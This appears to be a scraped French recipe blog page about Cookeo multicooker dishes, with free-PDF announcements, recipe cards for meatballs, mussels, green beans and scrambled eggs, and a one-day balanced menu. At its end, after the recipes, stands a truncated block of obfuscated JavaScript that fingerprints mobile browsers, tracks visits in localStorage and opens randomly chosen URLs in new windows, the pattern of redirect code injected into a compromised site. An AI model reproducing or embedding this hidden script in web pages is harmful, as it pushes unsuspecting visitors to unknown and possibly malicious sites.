Recettes cookeo USB Bistrot le pdf gratuit

Recettes cookeo USB Bistrot le pdf gratuit

Voici un PDF gratuit de recettes cookeo USB Bistrot proposé par le site recettes cookeo dans la joie et la bonne humeur ..

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Fiche cookeo longe de porc moutarde

Fiche cookeo longe de porc moutarde

Fiche cookeo longe de porc moutarde

longe-moutarde-fiche

[youtube https://www.youtube.com/watch?v=rEuW_NNHG0Q]
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Fiche cookeo rôti de boeuf moutarde

Fiche cookeo rôti de boeuf moutarde

Fiche cookeo rôti de boeuf moutarde

roti-boeuf-moutarde
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Recettes cookeo USB recettes du monde

Recettes cookeo USB recettes du monde

Recettes cookeo USB recettes du monde

Voici en PDF gratuit à télécharger les recettes cookeo USB recettes du monde proposé par le site Recettes cookeo dans la joie et la bonne humeur .

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Recettes cookeo Bébés le PDF gratuit

Recettes cookeo Bébés le PDF gratuit
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Voici un PDF de recettes cookeo Bébés proposé par le site Recettes cookeo dans la joie et la bonne humeur 

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Boulettes boeuf Bourguignones recette cookeo

Boulettes boeuf Bourguignones recette cookeo

Boulettes boeuf Bourguignones recette cookeo 

285 CALORIES 7 PP 8 SP

Ingrédients pour 4 personnes

16 boulettes de bœuf

300 g de carottes

100 g d’oignons

1 petite boite de tomates pelées

1 cube de bouillon de bœuf

1 petite boite de champignons de Paris

4 cuillères de Concentré de tomates

Sel

Poivre

Huile d’olive

Préparation

Mode dorer

Versez de l’huile d’olive dans la cuve et faites revenir les boulettes de bœuf. Ajoutez ensuite les oignons et les champignons de Paris.

Ajoutez ensuite les carottes et les tomates pelées.

Versez le verre de vin rouge et 200 ml d’eau avec le cube de bouillon de bœuf émietté.

Salez et poivrez selon votre convenance.

Cuisson rapide 

Programmez 5 mn 

Quand la cuisson est terminée, ajoutez 4 cuillères à café de concentré de tomates.

Si vous trouvez que votre sauce n’est pas assez épaisse. Alors repassez en mode dorer et ajoutez une cuillère à café ou 2 de maïzena et faites dorer jusqu’à épaississement.

Quand la sauce a épaissi servez chaud avec un féculent de votre choix
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Fiche cookeo oeufs lait caramel

Fiche cookeo oeufs lait caramel

Fiche cookeo oeufs lait caramel

oeufs-lait-caramel-fiche

 

[youtube https://www.youtube.com/watch?v=Ss-LRck2b1g]
//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js

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Livres recettes cookeo 70 nouvelles recettes

Livres recettes cookeo 70 nouvelles recettes

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Livres recettes cookeo 70 nouvelles recettes

Voici un livre trouvé sur internet (Site Recettes cookeo dans la joie et la bonne humeur ). Environ 70 recettes cookeo inédites issues des clés USB ‘recettes cookeo tradition ,asie etc…)

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Moules crème fraîche recette cookeo

Moules crème fraîche recette cookeo

Moules crème fraîche recette cookeo

Ingrédients pour 4 personnes

1k 500 de moules

40 cl de crème fraîche

150 ml de vin blanc

50 g de bleu d’Auvergne

3 cuillères à soupe de maïzena

1 gros oignon

Persil

Sel

Poivre

Huile d’olive

200 ml d’eau

Préparation

Mode dorer

Versez de l’huile dans la cuve et faites revenir les oignons quand l’huile est chaude.

Versez le verre de vin blanc et l’eau. Salez et poivrez selon votre convenance.

Ajoutez les moules.

Cuisson rapide ou sous pression

Programmez 5 mn

Quand la cuisson est terminée repassez en mode dorer. Puis ajoutez la crème fraîche et faites fondre le bleu d’Auvergne.

Ajoutez ensuite une cuillère à soupe de maïzena pour faire épaissir la sauce.

Quand  la sauce a épaissi remettez les moules dans la cuve pour les réchauffer mélangez et servez chaud
[youtube https://www.youtube.com/watch?v=pLiSGGkVnW4]

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Fiche cookeo cuisses poulet haricots verts

Fiche cookeo cuisses poulet haricots verts 382 CALORIES 8 PP 10 SP

Fiche cookeo cuisses poulet haricots verts 382 CALORIES 8 PP 10 SP

cuisse-poulet-haricots-verts-fiche

[youtube https://www.youtube.com/watch?v=qSKBWsPiBBg]

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Steaks hachés haricots verts cookeo

Steaks hachés haricots verts cookeoSteaks hachés haricots verts cookeo

266 CALORIES 8 PP 13 SP 

Ingrédients pour 5 personnes

5  steaks hachés

500 grammes de haricots verts

1 gros oignon

Sel  poivre

400 ml d’eau

1 cube de bouillon de bœuf

Persil coupé déshydraté

Huile d’olive

Préparation

Mode dorer

Versez de l’huile d’olive dans la cuve et faites revenir les steaks hachés

Au bout de 2 minutes ajoutez les oignons pour faites  dorer

Ajoutez les haricots verts

Saupoudrez de persil ,salez et poivrez selon votre convenance

Verser l’eau avec le cube de bouillon de bœuf émietté

Cuisson rapide ou  cuisson sous pression

Programmez 5 minutes

Servez chaud
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Œufs brouillés oignons cookeo

Œufs brouillés oignons cookeo

 

Œufs brouillés oignons  cookeo

 

Ingrédients pour 4 personnes

6 œufs

50 ml de lait

40 g de crème fraîche

200 g d’oignons

Huile d’olive

Sel

Poivre

Persil

Préparation

 

Fonction dorer

Dans un saladier ou un bol cassez les œufs et mélangez avec le lait ,la crème fraîche . Salez et poivrez .

Versez de l’huile d’olive dans la cuve . Faites revenir les oignons   .

Quand les oignons sont dorés versez la préparation dans la cuve . Mélangez jusqu’à ce que les œufs soit cuits .

Servez chaud .
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Menu cookeo équilibré JOUR 19

Menu cookeo équilibré JOUR 19Menu cookeo équilibré JOUR 19

Pour accéder aux recettes cookeo et obtenir le descriptif  il vous suffit de cliquer sur le titre de la recette ou sur l’image de la recette .

NB

Les recettes sont prévues pour 4 personnes. Les recettes en rouge sont des recettes réalisées au cookeo .

Une portion de pain = 50 g. Une portion de fromage = 30 g. Sans précision, fruit et yaourt = 1 par repas.

DEJEUNER

Salade de courgettes et tomates

Côte de porc au cidre

Haricots verts et pommes de terre

Fromage blanc nature sucré

Abricots

Pain

DINER

Salade de salsifis

Spaghettis au citron

Fromage

Nectarine

Pain

 

 

DEJEUNER

Salade courgettes et tomates 130 calories

 

Ingrédients pour 4 personnes

2 courgettes/2 tomates/ sel/poivre/2 cuillères à soupe de moutarde/2 cuillères à soupe d’huile d’olive/1 cuillère à soupe de vinaigre/Jus de citron 10 cl/.

Préparation

Lavez vos tomates et vos courgettes. Coupez les courgettes en rondelles avec une mandoline. Déposez les dans 4 assiettes.

Coupez vos tomates et déposez-les sur le lit de courgettes.

Préparez dans un bol une vinaigrette en  mélangeant 2 cuillères à soupe d’huile d’olive, une cuillère à soupe de vinaigre, 2 cuillères à soupe de moutarde, 10 cl de jus de citron du sel et du poivre. Versez la vinaigrette sur la salade et placez au frigo pendant une heure si vous souhaitez une entrée plus fraiche.

 

Côtes de porc au cidre (cookeo) 265 calories

cote-porc-cidre-ww

 

Haricots verts et pommes de terre 165 calories

Ingrédients pour 4 personnes

8 pommes de terre /400 g de haricots verts /sel/poivre

Préparation

Faites cuire dans 2 étages différents de votre cuit vapeur les haricots verts et les pommes de terre que vous avez épluchées (15 mn pour les haricots verts et 20 mn pour les pommes de terre).

DINER

Salade de salsifis 110 calories

 

Ingrédients pour 4 personnes

Une grosse boîte de salsifis/2 cuillères à soupe d’huile d’olive/2cuillères soupe de moutarde/une cuillère à soupe de vinaigre/sel/poivre/persil/1 gousse d’ail

Préparation

Ouvrez la boîte de salsifis et égouttez les . Découpez les salsifis en rondelles . Epluchez et coupez l’ail en morceaux. Lavez et ciselez le persil. Préparez une vinaigrette avec 2 cuillères à soupe de moutarde ,2 cuillères à soupe d’huile d’olive, 1 cuillère à soupe de vinaigre, salez et poivrez. Ajoutez l’ail et le persil dans la vinaigrette. Versez la vinaigrette sur les salsifis.

Spaghettis au citron  180 calories

spaghettis-citron-cookeo

 

 
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Cookeo expliqué pour les Nuls le PDF gratuit

Cookeo expliqué pour les Nuls le PDF gratuit

Cookeo expliqué pour les Nuls le PDF gratuit

Voici un PDF proposé par le blog Recettes Cookéo dans la Joie & la Bonne Humeur. Un très bon PDF destiné à ceux qui débutent ou découvrent le cookeo .

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//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js

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|nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());